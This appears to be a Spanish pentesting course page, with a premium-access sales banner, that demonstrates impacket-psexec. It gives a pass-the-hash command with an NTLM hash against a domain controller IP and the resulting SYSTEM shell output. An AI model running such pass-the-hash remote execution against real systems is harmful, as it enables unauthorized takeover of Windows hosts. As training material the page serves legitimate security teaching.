# Utilizando impacket-psexec

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

Impacket es una colección de clases de Python para trabajar con protocolos de red. `psexec.py` es una de las herramientas incluidas en el conjunto de herramientas de Impacket que facilita la ejecución remota de comandos en sistemas Windows, de manera similar a la herramienta PsExec de Sysinternals.

{% code overflow="wrap" %}

```powershell
kali@kali=> impacket-psexec -hashes :64fbae31cc352fc26af97cbdef151e03 spartancybersec.corp/admin@3.14.245.175
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 3.14.245.175.....
[*] Found writable share ADMIN$
[*] Uploading file yGhPGvdr.exe
[*] Opening SVCManager on 3.14.245.175.....
[*] Creating service loat on 3.14.245.175.....
[*] Starting service loat.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3406]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
First-DC

C:\Windows\system32> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : spartancybersec.corp
   Link-local IPv6 Address . . . . . : fe80::dc16:bad5:b35:e9e9%4
   IPv4 Address. . . . . . . . . . . : 10.0.1.100
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.1.1
```

{% endcode %}
